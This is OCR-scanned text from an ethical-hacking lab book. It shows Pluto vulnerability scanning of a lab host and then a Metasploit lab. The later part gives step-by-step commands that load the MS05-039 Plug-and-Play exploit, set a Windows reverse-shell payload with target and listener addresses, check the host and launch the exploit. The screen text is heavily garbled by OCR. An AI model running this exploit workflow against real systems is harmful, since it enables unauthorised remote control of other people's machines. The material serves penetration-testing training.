www. astralclinic.com
-~ System info
W Ports
@ Audits

4
| iastartllj o @& 1 H mC:\WlNNT\SystamSZ\(md‘.‘| EA= Windows\pluto | |(ﬂ—$ 6126 PM
=T I
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Change the TP address to the target IP Address or Hostname.

Bl Windows 2000 Professional - ¥Mware Workstation

File Edit Y¥ew %M Team Windows Hel

e & @
(m @Will(luws 2000 Professional

& Pluto - version 1.3

File Prefersnces Help

Addiess  LEabyEl -

www. astralclinic.com
-~ System info
W Ports
@ Audits

4
| iastartllj o @& 1 H mC:\WlNNT\SystamSZ\(md‘.‘| EA= Windows\pluto | |(ﬂ—$ 7i58PM
=T I

Place your mouse over Config on the left side of the screen. This is actually
a button but the mouse icon will not change. Click on Config and the Options
screen will appear.

8] Windows 2000 Professional - ¥Mware Workstation o [=]

File Edt ¥ew %M Team ‘Windows Help

(3 Windows 2000 Professienal
(" Pluto - version 1.3
File Preferences Help

) Dptions

General ‘

: Audis
Wweb Server i
FTP Server = =
Mail Server el
NetBIOS Audit

Protocol Detection

[ Password Brute Force
Port Sean

Poits | Sudits ‘EruAEFurEE| Stealth ‘ (e B

[Ful =l

Thieads [more thieads makes scanning faster]

Nurmber of Threads: B4

1500 i

4
| dhstart|| 1] & &2 H B WISy stem3ziemd... | _yE:iwindonsipiuta [[Gapiuee J B smm
[S=1 1D
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Drag the slider bar for the Number of Threads as far to the right as
possible. Click Apply. The screen will close.

*Note: Do NOT click on Password Brute Force as this function creates windows
errors (this is a fluke in Pluto’s code).

& Windows 2000 Professional - YMware Workstation B =10 x|

ile  Edit View VM Team Windows Hel

MBI EEREIEEE

] G Windows 2000 Professional
& Pluto - version 1.3
Fle Preferences Help

& Options

Geredl | Pors | hudte | BusFoce | Swatn [ Policies
[Ful |

Apply
Cancel

Fratocal Detection
[ Passwaord Brute Force
Port Scan

! Thieads (more thieads makes scanning faster)

Number of Threads: 120
Ping timeout:

1500 | 1

)
|§a5tartm o @ =1 “ B o WINNT| Sy skem3z|cmd. | EYEKindows!pluto || GuPiato Eie  oerm ‘
Eome

Click on Config again and click on the Brute Force tab. Review the location
and names of the Password and Usernames files. If they do not exist, you will
need to create them with a text editor, such as Notepad. Click Apply.

8 Windows 2000 Professional - ¥Mware Workstation I =[]
File Edit  view UM Team Windows Help

" njre ol es s
21 iie0 5 Windows 2000 Professional

¢ Pluto - version 1.3

File FPreferences Help

@ Options =10l x|

Potts ‘ Audits ‘Erutaana‘ Stealh ‘ (Pt

-

Apply
Usemames Wordist: |° orkbwordlistwsemames 4
Senvice: |17 2 —IEE"DE‘

General ‘

5 PassnodWodise |5 orkiwordisticommon-passwords

4
|§§Slarl|H ) @ 51 || B cawmnTisystemazicnd...| yEKWindons|pluto |[c@piats oEE  emaem ‘
ESmw
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Click the start button and Pluto will begin to scan the target. The
progress bar will show the percentage of the completion of the scan.

indows Z0DO Professional - ¥Mware Workstation

File  Edit  View VM

am  Windows  Help
ufpr @ @ 3

Ll G Windows 2000 Professional at Linuox | | ol Hat LinLix

& Pluto - version 1.3
Fle Preferences Help

17216140 -

www_ashalclinic.com
W 17216140

7
[gRstare ||| it @ || Beawmmssensziond. | SEwndonsion|[Gariats J@H woem |
EcEw

Pluto will complete the scan.

=10o| x|
File Edit View YM Team ‘Windows Help
wip & & [ 1

Ll G Windows 2000 Professional ol Hat LinLix

& Pluto - version 1.3
Fle Preferences Help

9 of 1118 checked ports are opened

7
[gRstare ||| it @ || Beawmmssensziond. | SEwndonsion|[Gariats J@W wzem |
Ecml
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By expanding the results, you can evaluate the details. Pluto will automat-
ically perform banner grabbing as well.

dows 2000 Profe: al - ¥Mware Workstal =10l x|

Fil=  Edit  Wiew vM  Team Windows Help
nlp @ & [ B
o @\‘ﬁll(lnws 2000 Professional

& Pluto - version 1.3
File Preferences Help

PR 17216.1.40 -

www_astralclinic.com

@ Systeminfo
W Ping response time: 0 ms
-4 Pors
- 25 [smip]
@ Desoiptions Simple Mai Transfer
~@ Banner: 220 w2kss Miciosolt ESMTP MAIL Service, Yersion: 5.0.2195.6713 ready at Fri, 18 Mov 200518:3%.26 -0600
- @@ Protocol detected: SMTP
80 http]
W Desoiption: World Wide Web HTTP
- Protocol detected: HT TP
135 llocsrv]
& Description: NCS lacal location broker
133 [netbiosssn]
- Descriptios NETBIOS Session Service
443 [https]
@ Description: seeure hitp (S51)

11 of 1118 checked ports are opened

4
| start||| () @ 3 || Bciwiwnisystenaziond.. | Cleiwndonsiphto [[@Plato CoEEE  eaapm |

Eemw .

Scrolling through the results in this example will identify three potentially
critical errors in the target. Pluto will identify:

B The CGI script executed
B A description of the vulnerability
B A severity rating (High, Medium, Low)

Bl Windows 2000 Professional - ¥Mware Workstation -1al x|

File Edit Wiew VM Team Windows Help

Wiy & |8 e R =]

{R12cu ] 5 Windows 2000 Professional st Linx | 7 Red Hat Lin. v w L
K€ Pluto - version 1.3
File Preferences Help

Address  IRZALREN] el

www_astralclinic. com
g8 TGl /scripts/samples/ search/gaunit hiw

@ URL: hitp:/#172.16.1.40 scripts/samples/ search/gsundhit hiv

@ Description: A buffer ssue in'wiebhits.dl can be abused ta read any fle on the same volume, even outside of the web roc
@ Seveity: High
g8 CGI: /scripts/sampless search/ghulhit hive |
@ URL: hitp:/#172.16 1,40 scripts/samples/ search/abullit hive

@ Description: A buffer ssue in'wiebhits.dl can be abused ta read any fle on the same volume, even outside of the web roc
@ Seveity: High

g8 CGI: //_vii_bin/shirml i
~ @ URL: hitp:/#172.16.1.40/¢_vi_bin/shiml.dl

@ Description: Shimldll can be sbused to gain the source of server side scripts such s ASP pages. Ensure the most upta d
@ Seveity: High

WA
@ Wersion: MicrosoltlI5/5.0
@ Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH,
@ Alowed Dptions: OPTIONS, TRACE, BET, HEAD, COPY, FROPFIND, SEARCH, LOCK, UNLOCK.
@ Authoring. MS-FP/4.0DAY

11 of 1118 checked parts are opened

4
| #hstart||| 1) & 9 |] B CHWINNT System32iamd... | _JEwindowsipluta [[@ptuto G @ saapm |
Ecmw
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To save the report click on File, then click Save, and finally select Name
the Report and click Save.

lows 2000 Professional - ¥Mware Workstation =18 x|

File Edit Wiew VM Team Windows Help

TR EREe ==

inox | | Red Hat Lin

Address
www_astralclinic.com

@ Sevaily: Info
P =
¥ T 20
W uvein [ Fepats = & & ok E- -
.

olume, even ovside: of the web roc
.

olume, even ovside: of the web roc
.

" Fiename:  [vinaul Hacking Lab 71 Pluid see |
5P pages. Ensue the most upto d
Save astype: [Saved Reprot ~ cpt =

11 of 1118 checked parts are opened

4
| i;startm o] @ =3 “ B C A WIHINT| Sy stem32icmd. . | e windawsiplute ||@p||.to JEg  ed6Pm |
EEmw

The last feature of Pluto to mention is the ability to add custom audit checks.
This is done by placing the mouse over the Audits word on the left of the
application. As before, this is actually a button even though the mouse pointer
will not change. Click on Audits and the Database Explorer will appear.

B windows 2000 Professional - ¥Mware Workstation . -8l x|
File Edt ‘View VM Team iWindows Help

i@ Database Explorer

Database:

Alibaba 2.0 Multiple CGI Wulnerabilties

Apache mad_cookies Buffer Overflow vulnerability
Berkeley Sendmail Daemon Mode Yulnerability
Berkeley Sendmail Group Permissions Vulnerability
Berkeley Sendmail MIME Vulnerability

Berkeley Sendmail and Overflow
Gordano NTMail Web File Access Wulnerability

[

Tatak 13

5.5
Sendmail 8.6.10

oK

Narme:

Description

Add
Fig:
Apply
Delste

Cleanup

Type: Banner v
Fa: 0 El

Data: I
S v -
ghstart||| () @ 53 || Bcawmnnsystenszicmd.. | yEawndonsipito |[Gptuto GEE e
B .
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Pluto allows you to enter custom entries into the databases. By clicking
on each database, you display the vulnerabilities. Click each vulnerability in
the list to list the details of each.

Bl windows 2000 Professional - ¥Mware Workstation N o [=] 3]
File Edt Yew %M Team Windows Help

mnjre | Gapa

ws 2000 Professional

& Database Explorer

Database: |E S yWindows\plutohsmip.audit =

Apache mod_cookies Buffer Overflow Vulnerability

Alibaba 2.0 Multiple CGI Vulnerabilies =
fipache mo < Butfer O i ulnerability

Berkeley Sendmail Daemon Mode Vulnerability
Berkeley Sendmail Group Permissions Yulnerability
Berkeley Sendmail MIME Vulnerability

Berkeley Sendmail Starvation and Overflow Vulnerabilities
Gardana NTMail Web File Access Vulnerability

Sendmail 5.5

Sendmail 8.6.10

Total: 13

oK

Mame:

Certain versions of the Apache websarver shipped with a remotely
cxplaitable buffer averflow attack. This overflaw was present in the
function make_caakie, in mod_cookies.s used a 100 byte buffer.

Rernote attackers, if they prowided rmore than 100 bytes, could exploit Add
this vulnerabiltity to gain access to the server running the Apache
Fig SErYer.

Bpply
Upgrade to the current version of Apache, Delete

Clean up

Description

T Bannsr -

Fart 80 =]

Data [apache/1.1.1;Apache/1.1;Apache/1.0.5; Apache/1 0.3;Apache/1.0.2; Ap.

Seweritin High B =
start || 7] & 53 || Bcawmsystenzzicnd...| EAwIndonslpto |[Gapiurs G EIgE  marEn

GEmw

*Note: Pluto allows for the addition of custom exploits. I have found that (as with
the earlier code error that results when clicking on the Brute-Force option),
clicking the Add button at this point can cause another error. In order to add
custom vulnerabilities you must edit the audit files themselves with a text
editor, such as Notepad. This is recommended by experienced people only
as it deals with direct scripting.

Even with Pluto’s code issue, T left it in because of its ability to add the
custom audit scripts. You can use the audit files to gain experience in scripting
and understand how these exploits work against a target.
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Lab 68: Vulnerability Assessment

Perform Vulnerability Assessment: Metasploit ]

Prerequisites: None
Countermeasures: Secure ACLs, Bastion servers/workstations
Description: The Metasploit Framework is an advanced open source
platform for developing, testing, and using exploit code. This project
initially started off as a portable network game and has evolved into a
powerful tool for penetration testing, exploit development, and vulner-
ability research. Remember that all commands in Linux are case sensitive.
Procedure: Windows: Install, set parameters, execute, and review results.
Linux: Compile, set parameters, execute, and review results.

On Windows

Double-click on the framework-2.5.exe icon to start the installation of
Metasploit.

Install the Metasploit Framework Wizard with the default options. Metasploit
will now finish installing. Click Finish.

Bl Windows 2000 Professional - ¥Mware Workstation B

File Edit WYiew %M Team ‘Windows Help

® Metasploit Framework 2.5 Setup

Completing the Metasploit
Framework 2.5 Setup Wizard

Metasploit Framework. 2.5 has been installed on your
computer,

Click Finish to close this wizard,

cancel

dstart || ] @ 51 || B wTisystomszicmd... [ Metasploit Framework... G EE 1izem
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Click on Start/Programs/Metasploit Framework/MSFConsole to start
the Metasploit application.

%[5 @

Search 3 Ininstall

|" Prograrms 3 @ Accessories

'E Cygshell
@ Documents * Startup MSFCansole

ﬁ Internet Explorer MSFpdate
% Settings 4

I:f,;,’l Cutlook Express rSFyeb

User @uide
Website

@ Help
Run...

|
-] Shut Down, ..

The Metasploit application will start.

*Note: When Metasploit starts, it tells you not only the version you are running, but
also the number of exploits and payloads included with that version. In version
2.5 Metasploit includes 105 exploits and 74 payloads.

Bl windows 2000 Professional - YMware Workstation

| Fle Edt vew M Team Windows Help
BN ETEFENEETE =]

{53 Windows 2000 Professional
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To see what exploits are included, type show exploits and press Enter.

indows 2000 Professional - YMware Workstation

| Fle Edt vew

e mp & R||0B

Team  Windows  Help

msfconsele v2.5 [105 exploits — 74 payloads]

nsf > show exploits..

start| | 1] @& = H & CHwIHNT|Systemz2icnd.. | [B Shorteut to mafeonsole BE 11:33PM

Some .

The included exploits will be listed. The left column identifies the name
of the exploit and the right column gives a brief description of the exploit.

*Note: All exploits will scroll by quickly. For the purposes of this lab, T have scrolled up
the screen to show all of the exploits from the top down.

indows 2000 Profe:

JH\e Edit  View Team  Windows  Help

ERE EEEEEEEE

@Windows 2000 Professional

hortcut to msfconsole

nsf > show exploits

nal - YMware Workstation

=10ix]|

Metasploit Framework Loaded Exploits

3con_dcdaemon_ftp_overflov

Credit
afp,lnglnext
aim_goaway
altn_webadmin
apache_chunked_win32
arkeia_agent_access
’ arkeia_type?? nacos
arkeia_type??_win32
awstats_conf igdir_exec
backupexec_agent
ow
backupexec_dunp
backupexec_ns
backupexec_registry
badblue_ext_overf low
one_netvault_heap
barracuda_img.
blackice_pam.
cabrightsto
cabrightstor_disco_servicepc
ou
cabrightstor_sgqlagent
cabrightstor_uniagent
cacam_logsecurity. i u1n32
cacti_graphimage_e
calicclnt_getconfig
calicsery_getconfi 19
distcc_exec
edirectory imenitor
exchange20@0_xexch50
futuresoft_tftpd
globalscapeftp_user_input

mu_mailutils_imap4d

3Com 3CDaenon FIP Server Ouerflow
Hetasploit Framework Credit
Rpplobilotervon: Loginkne PathNane Querflou

AO0L Inctant Hestenger goaway Overf

ATt-N WebAdnin USER Buffex Overtlow

fApache Uin3Z Chunked Encoding

Arkeia Backup Client Remote Pcces

firkeia Backup Client Type 77 Ouestlow CMac 08 X

Arkeia Backup Client Type 77 Overflow (Win32)>
AWStats configdir Remote Command Execution
Ueritas Backup Exec Windows Remote Agent Ouerfl)

Ueritas Backup Exec Windows Remote File fccess
Ueritas Backup Exec Name Sepwice Overflou
Ueritas Backup Exec Server Registry Acces
BadBlue 2.5 ERT.d11 Buffer Overflow

BakBone Netlault Remote Heap Ouerflou
Barracuda IMG.PL Remote Command Execution

Iss PAM.AL11 103 Parser Buffer Overfloy

CA Bright8tor Discovery Service Overfl

Ch BrightSton Discowery Semvice SERUICEFC Ovewt

CA BrightStor Agent for Microsoft SQL Overflow
CA BrightStor Universal Agent Overflou

CA CAM log_security() Stack Overflow (Win32)
Cacti graph_image.php Remote Command Execution
CA License Client GEICONFIG Overf lou

CA License Server GEICONFIG Ouerflou

DistCC Daemon_Command Execut ion

eDirectory 8.7.3 iMonitor Remote Stack Overfloy|

Exchange 2 MSB3-46 Heap Ouverflow
FutureSoft TP Server 28WA Buffer Ouverflou
GlobalSCAPE Secure FIP Server user input overfl)

Hstart|| 1] @ 2 || Bciwmnmsystonsziend. .. |[@ shorteut to msfeonsole =

Some .
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By scrolling down the screen you can see that there are more exploits available.

indows 2000 Professional - YMware Workstation

Help

windows

| Fle Edt vew Team

nlr @@

hpux_ftpd_preauth_list
st ing

hpux_lpd_exec

i hin.

icecast_header
ie_ohjecttype
iis4@_htr
iis58_printer_overf low
iis58_webhdav_ntdll
iis fp3@reg chunked
iis_nsiislog post
iis_source_dumper

x Tpsched oxco
Toans_nod
eI aehioe At hibesdes

mailenable_imap
Overflow
maxdb_wehdbn_get_« nverflnu
mdaenon_imap_cram_n

antec -‘nftcar

mlnl..hare“(et ouverf low
msB5_@37_pnp
msasnl_ms@4 807 _killbill

msmq_deleteohject ns@S_617

merpc_deon_ms!
B8_preauthentication

mssql2000_resolution

nettern necf:pd,;:sn-,nue»uw

oracledi_xdh_ftp pas
payload_handler
php_vbuTletin_template
Execution
php_wordpress_lastpost
cution

el k=]

HP-UX LPD Gommand Execution
IA WebMail 3.x Buffer Overflow
Teecast <<= 2.0.1> Header Overyrite Cwin32)
Internee Exple Ject Tupe Overflou
ST e TR Bubfes Gocntlon
5.8 Printer Bubfer Overflou
518 \ehDAU ntd11.d11 Ouverflow
ntbage Fpdbreq.dll Chunked Ovorflow
neiiglog.dll ISAPI POST Overflow
lsh Application Source Code Diselosure
S wiwho.d1l ISAPI Ouverflow
[Mail IMAP4D Delete Overflow
[Mail LDAP Service Buffer Overflow
RI¥ Ipsched Command Execution
Microsoft LSASS MS04-811 Ouverflow
MailEnable Authorization Header Buffer Overflow

MailEnahle Pro <1.54> IMAP SELECT Request Buffe

MaxDB WebhDBM GET Buffer Ouverflow
Mdaemon 8.@.3 IMAPD CRAM-MD5 Authentication Oue

Mercantec SoftCart CGI Ouverflou

Mercurys32 v4.0@1a IMAP RENAME Buffer Ouerflow
Minishare 1.4.1 Buffer Overflou

Microsoft PnP MEB5-03% Overflouw

Microsoft ASN.1 Library Bitstring Heap Overf lou|

Hicrosoft Measage dueucing Scrvice MG0S-017
oft RPC DCOM MS03-026
HES5E 2a6ELHSDE He 1ls Butfer Ovesflow

MSSQL 2808,MSDE Resolution Overf low

NetIern NetFIPD USER Buffer Overflow

HP OpenUiew Omniback 11 Command Execution
Oracle 91 XDB FIP UNLOCK Overflow <win32>
Oracle 71 XDB FTP PASS Overflow Cwin32)>
Metasploit Framework Payload Handler

vBulletin misc.php Template Name Arbitrary Code

WordPress cache_lastpostdate Arbitrary Code Exe

dstare || 1) @ =7 || B wmnnisystemaziemd .. |[ @ shortcut to msfconsole L)
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The last screenshot identifies the remaining exploits available.

indows 2000 Professional - ¥Mware Workstation

| Fie Edt view Team Windows Help

|m m[pr &

(3 Windows 2000 Professional

hphb_highl
poptop_s negatlue
1‘ealﬂel‘uer _descr
swebagent
“amha nttrans
samha_trans2open
samba_trans20pen_osx
samba_trans2open_so lsparc
sambarb_search_results
seattlelab_mail 55
sentinel_1n7_overf low
servu_ndtn_overf lou
shoutcast_format_win32
String Overf low
slinftpd_list_concat
smb_sniffer
sola dt..pcd noir
sola _kens_readfile
solaris_lpd_exec
solaris_lpd_unlink
solal = _sadmind_exec
=olal nm)xd
solaris_ttypro
.‘quul nELn aut]lentlcate
sunserve_date
trackercam phpa»g overflow
uow_imapd_c
uow_imapd_ 34
ut2084_secure_linux

edirect

5 ut2804_secure_win3i2

warftpd_165_pass
warftpd_165_user
uebstar_ftp_user
windows ssl_pot
wins. madd. Bas
usftp_server_503_nkd
zenworks_desktop_agent

tack Overflow

nsf >

iﬂstartl” o @& 1 H BB C:\WINNT|System3z2|emd,

B shortcut to msfconsole

phpBB vicwtopic.php Arhitrary Code Execution
Poptop Negative Read Overf law

RealServer Descwibe Buffer Overf low

[1S RSA UebAgent Redirect OQuewflow

Samba Fragment Reassembly Ovenflow

Samba transZopen Ouvertlow

Samba transZopen Overflow <Mac 05 K)

Samba transZopen Ouverflow ¢Solaris SPARCY
Sanbar 6 Search Reoulis Duffer Overf low
Seattle Lab Mail 5.5 POP3 Buffer Overflow
Sontine LR DS Butier Quortiow

Seru-U FIPD MDIM Overflow

SHOUTcast DNAS,win32 1.9.4 File Request Format

$1inFTPd LIST Concatenation Overflow
SMB Pascuord Capture Seruice
Sola tsped Heap Overflow
Solaris KCHS Arbitary File Read
Solaris LPD Command Execution
Solaris LPD Arbitrary File Delete
Solaris sadnind Command Execution
Solaris snmpitdnid AddComsonent Oerflow
Ttcinctd TIYPROMPT Buffer Dyertlow
Squm "NILR futhenticate Overf law
Subversion Date Sunserve
TrackerCam PHP Argument Buffer Ouerflow
University of Washington IMAP4 COPY Querflou
University of Washington IMAP4 LSUB Overflou
Unreal Tournament 2004 “secure" Overflow (Linux
Unreal Tournament 2084 “secure" Ouerflow (Win32|
FIPD 1.65 PASS Querflow
PD 1.65 USER Overf low
UeheTAR FIP Somger USER Ovort Low
Microsoft SSL PCT MSB4-B1i Overflou
Microsoft WINS M$B4-B45 Code Execution
US—FTP Server 5.03 MKD Overflow
ZENworks 6.5 Desktop/Seruer Management Remote $|

I.Jm-

Bomw
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For this example, we will use the Microsoft Plug-and-Play Remote Buffer
Overflow exploit. This is done by typing:

use ms05_039_pnp

*Note: Why use the Microsoft Plug-and-Play Remote Buffer Overflow? I knew the
target was vulnerable because of the results I received from Lab 60 (SAINT)
as this exploit was one of the 14 OS vulnerabilities listed from that lab.

Bl Windows 2000 Professional - ¥Mware Workstation :

| Fle Edt view WM Team ‘windows Help

Imnly&|@cGnR|oDa
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Once the exploit has been identified, you must determine what payload
to use with the exploit chosen. List the available payloads by typing show
payloads and pressing Enter.

-loix]

Fle ER Yew WM  Tean Wik Help
mnreoEah| D@8 D8

“. Ghartrut ko msfransole

Hstart | | 0 5 =3 || ECA Wy e, .| [ ot JEE e

Biomi .

The payloads included with Metasploit are now displayed on the screen.
In this lab we want to receive a C: prompt from the target machine so we
need to select the win32_reverse payload. This is done by typing:

set PAYLOAD win32 reverse
il

Fie ER  Yiew YM Tean Windows Hep

e | OO E

+ DLL Inject
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Once the exploit and payload have been selected, the target must be chosen.
Metasploit will identify which targets are susceptible to the specific exploit you
are using. To view a list of targets, type show targets and press Enter.

REE

start| | 1) @ %1 || BCwentsstensond | [B shorlcut Lo astcomsote GEE sm

Eoms

In this example, the exploit can be used against the following:

B Windows 2000 targets (Service Pack 0—4 installed on it)
B Windows 2000 targets (French language with Service Pack 4 installed)
B Windows 2000 targets (Spanish language with Service Pack 4 installed)

*Note: Once again the value and importance of maintaining updates on your computers
is demonstrated. A properly patched system is much more difficult to penetrate.

o
rallcanlmea nm
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For this example, the target was set to 0 by typing set TARGET 0 and
pressing Enter.

indows 2000 Professional - ¥Mware Workstation

| Fle Edt view WM Team ‘windons Help
lmnfrallBan|ooa|®

(3 Windows 2000 Professional

nsf > use msB5_B39_pnp
nsf msBS_B32_pnp > show payloads

Metasploit Pramework Usahle Payloads

win32_adduser Windows Execute net user /ADD
win32 hind Yindows Bind She
win32 hind_d1linject Windows Bind DLL Inject
in32 hind_meterpreter Mindous Bind Metorphecer DLL Inject
win32 hind stg indous Staged Bind She
win32_hind_stgy_upexec Windows Staged Bind Upluad/Execute
win32 hind_uncinject Windows Bind UNC Server DLL Inject
win32 exec Windows Execute Comman
win32_passivex Windows PassiveX ActiveX Injection Payloas
win32 passivew_neterpreter  Windows PassiveR ActiveR Inject Meterpreter Payl
oad
win32_passivex_styg Windows Staged PassiveX Shell
win32_passivex_uncinject Windows PassiveX ActiveX Inject UNC Server Paylo
ad
win32_reverse Windows Reverse Shell
win32 reverse dllinject Hindows Reverse DLL Inject
win32 reverse nmeterpreter Hindows Reverse Meterpreter DLL Inject
wind2_reversc_stg Hindows Staged Reverse She
in32 reverse sty upexec Hindows Staged Reverse Upload/Execute
win32 reverse_uncinject Hindows Reverse UNC Server Inject

s @5_039_pnp > ﬂat PAYLOAD win32_reverse
[PAYLOAD —> win3d2_
839 pnp(\:1n32 reverse) > chow targets

Supported Exploit Targets

Windows 2008 SPA-SP4

nsf ms@5_B39_pnp(uin32_reversed > _

Hstart ||| 1] & =5 H Bl CAWINNTiSystem5zlemd. .. || @ Shortcut to msfansole ¢
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The next step is to identify what is required and what is optional for the
exploit to run. Type in show options and press Enter.

indows 2000 Profe: nal - YMware Workstation

| Fle Edt view WM Team ‘windows Help
s nre|leGR|ODe8 28

(53 Windows 2000 Professional

nsf > use msB5_B39_
et mel 039 pnp > Shew payloads

Metasploit Framework Usable Payloads

win32_adduser Hindows Execute net user ~ADD
win32 hind Hindows Bind Shell
in32 hind_dllinject Hindows Bind DLL Inject
win32_hind_mcterpreter Mindows Bind Meterpreer DLL Inject
win32 hind stg Windows $taged Bind
win32 hind sty upexec Windows Staged Bind Upluad/Ex:cute
win32_hind_wncinject Windows Bind UNC Sewver DLL Inject
win32_exec Windous Execute_ Comman
32 passivex Windows PassiveX ActiveX Injection Payload
Hmsz,passiuex,metu-p»e:e:- Windows PassiveR Activek anel:t Meterpreter Payl
oa
win32_passivex_sty Windows Staged PassiveX Shell
win32_passivex_uncinject Windows PassiveX ActiveX Inject UNC Server Paylo
a
win32_reverse Windows Reverse Shell
“reverse_dllinject Windows Reverse DLL Inject
“reverse_meterpreter Windows Reverse Meterpreter ])LL Inject
“reverse_styg Windows Staged Bt fre
“reverse_stg_upexec Windows Staged Reverse Uplnad/Execute
win32_reverse uncln_]ect Windows Reverse UNGC Server Inject
nsf me@5 B39 pnp > set PAYLOAD win32 reverse
[PAYLOAD —> win32_reverse
nsf ms@5 B39 pnpCuind2_reversed > shou targets

Supported Exploit Targets
@ Windows 2000 SPA-SP4
1 Uindous 2000 $P4 French
2 Windows 2808 SP4 Spanish
nsf msB5_B39_pnp(win32_reversed > set TARGET @
[TARGET —> 8

nsf msB5_B39_pnp(win32_reversed > show options

BN shortcut to msfconsole

Hstart ||| 1] & <5 H B CWINNT Sy stemazlemd,

Eemw -




Vulnerability Scanning w437

This exploit has two required fields that are currently blank (RHOST and LHOST).

indows 2000 Professional - YMware Workstation

| Fle Edt view WM Team ‘windows Help

e nfra|@acnr|n

(53 Windows 2000 Professional

everse_dllinject se DLL Inject

euerse_nmeterhreter Mindous Reverce Meterpreter DLL Inject
i 1

euerse_sty ws Staged Rever

euerse_stg_upexec Windous Staged Reverse Upload/Execute
everse_wncinject Windows Reverse UNC Server Inject

nsf ms05 B39 _pnp > set PAYLOAD win32_reverse
[PAYLOAD —> win32_reverse
nsf ms05_039_pnplwini2 reverse? > show targets
Supported Exploit Targets

@ Windows 2000 SPA-SP4

1 Windous 2000 SP4 French

2 Windows 2008 3P4 Spanish
ns{ ne05_P3?_pnpCuind?_reversed > set TARGET @
TARGET —
ns m"ES_39_pnp(u1n32_l'euel"‘e) > show options

[Exploit and Payload Options

Exploit Default Deseription

The target addres

SI‘IBPI PE brouser ipe b DIJ.»ER . srusvc, wkss

SMEDOM I in For specificd SHB
139 target port

u..ernane

RPORT
optional  SMBUSER he SMB username to connect with
optional  SMEPASS The passuord for specified SHE username

Payload:  Name Default  Description

EXITFUNG thread Exit_technique Proces:
LHOST

thread" .

Local address to ceive connection
LPORT 4321 Local port to receive connection

dstare || 1) @ =7 || B wmnnisystemaziemd .. |[ @ shortcut to msfconsole

veeh"
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Set the target IP address for the RHOST by typing:

set RHOST 172.16.1.40

Bl Windows 2000 Professional - ¥Mware Workstation

| Fle Edt view WM Team ‘windows Help

TEE e E = =]

win32_reverse_sty Windows Staged Reverse Shell

win32_reverse_stg_upexec Windous Staged Reverse Upload/Execute
win32_reverse_uncinject Windous Reverse UNC Server Inject

msf ms@5_@A39_pnp > set PAYLOAD win32_reverse
[PAYLOAD —> win32_reverse

nsf ms05_039_pnplwin32_reverse? > show targets
Supported Exploit Targets

L n(lou“ ZB B SPB-SP4
8 SP4 Fl‘ench

Default  Description

The target address

brouser  Pipe name: brouser, srusuc, ukssuc

optional SH ul The domain for specified SMB
regquired 139 The target port

username

optional The SMB username to connect with
optional SMBPASS The password for specified SMB username

Payload Nane Default  Descriptioen

pequ; EXITFUNC thread Exit technigue: “process".
LHOST

"thread" .

required Local address to receive connectien
required  LPORT 4321 Local port te meceive conmection

Target: Windows 2088 SPA-SP4
Insf ms@5_A39_pnp{win32_reverse> > set RHOST 172.16.1.48

[RHOST —> 172.16.1.48
insf ns@5_A39_pnplwind2_reversed >

Astart|| 1) & =3 || B cwmnTsystemazicnd .. |[ @ shortcut to msfconsole
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Set the target IP address for the RHOST by typing:
set RHOST 172.16.1.40

‘Windows 2000 Professional - ¥Mware Workstation )

| Fle Edt View VM Team Windows Help

e mip&||l@&@an|moo

in32_reverse_vncinject Windows Reverse UNC Server Inject

nsf nsB5_A3 np ) set PAYLOAD win32_reverse
PAYLOAD — 1
msf msB5_@39 pnl)(lunﬁz reverse? > show targets

Supported Exploit Targets

8 Windows 2008 SPB-SP4
1 Windows 2088 SP4 French
2 Windows 2008 SP4 Spanish

nsf msBS_@3%_pnp<wind2_reversed > set TARGET
TARGET —
nsf msB5_@39_pnpCuin3d2_reversed > shou options

E:

quired  RHOST The target address
vequired  SMBPIPE  browser e name: hrouser, srusvc, ukss

ional  SMBDOM The domain pecificd SHB username
vequired  RPORT 139 target port
optional  SMBUSER he SMB username to connect with
optional  SMBPASS passuord for specified SMB username

EXITFUNC thread Exit technique: “process", "thread", "seh"
LHOST Local address to receive connection
required LPORT 4321 Local port to receive connection

Target: Windows 2000 SPA-SP4

hstare| | o) & 0 “ B i Tisystenazicnd. . | [@ shortcut to msfeonsole JoEsg  1138em
=T

Some exploits allow you to check the target for the vulnerability prior to
launching the exploit itself. This is done by typing check and pressing Enter.
In this example the target appears to be vulnerable.

‘Windows 2000 Professional - ¥Mware Workstation

| Fle Edt Vew WM Team tindows Help
IERIEE ERE R e =)

@Windows 2000 Professional

@ Windows 2008 SPB-SP4
1 Windows 2808 SP4 French
2 Windows 2008 SP4 Spanish

msf msB5_@3%_pnp{win32_reverse> > set TARGET @
TARGET —> @

msf msB5_@3?_pnp{win32_reverse) > show options

required  RHOST The target

required browser  Pi B ser c. ukssy
optional  SMBDOM The domain for specified SHB username
required  RPORT 139 target port

optional  SMBUSER he SMB username to connect with
optional  SMBPASS password for specified SMB username
Payloa Hane Default  Description

required  ERITFUNC  thread Exit_technique: “process”, “thread”, “seh"
required  LHOST Local addeess to receive connection
required  LPORT 4321 Local port to meceive connection

Target: Windous 20808 SPB-SP4
nsf msB5_B39_pnplwin32_reversed > set RHOST 172.16.1.48
RHOST —> 172.16.1.4@
_reversed > set LHOST 172.16.1.56
£ ms05_839 pnpCuin32_reversed > check
Detected a Windows 2808 target (O
[x] Sending the final DCE fragnent

[=] This sy.,tem appeal‘s to he uulnel‘able
msf ms@5_L {win32_reverse

HAstart||| ) @ 52 || Bcawiarisystomazicnd.. | [@ shortcut to mefconsole $EE 11mem
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To execute the exploit against the target, simply type exploit and press Enter.

Bl windows 2000 Professional - YMware Workstal

| Fle Edt vew M Team Windows Help
| = DDW@ 8@ R|DaE|m

{53 Windows 2000 Professional

hortcut to msfconsole
msf msB5_@3%_pnpwin3d2_reverse) > show targets

Supported Exploit Targets
@ Windows 2888 SPB-SP4

Windows 2088 SP4 French
2 Windows 2008 SP4 Spanish

%9,pnp(|-!in32,1‘eun-se) > set TARGET

qui 08T I —

required browser  Pipe name: browser, swusvc, ukssuc
optional domain for specified SHB username
required RPORT 139 target port

optional SMB username to connect with
optional  SMBPASS password for specified SMB username

Payload Hame Default Description
required EXITFUNC thread Exit_technique: “"process". “thread". "seh"
required LHOST Local address to receive connection
required LPORT 4321 Local port to receive connection
Targe i s SPA-SP4

ms £ mﬂlS _@3%_pnp<win3d2_reversed > set RHOST 172.16.1.40

ms £ NSEE_ 39_pnp(||1n32 reverse) > set LHOST 172.16.1.56

nsB5_839 pnpluind2_reversed > check
Dotected a Windeus 2008 target ¢>
Sending the final DCE fragnment

his system appears to be vulnerable
ns05_B39 pnplwind2_reverse) > exploit

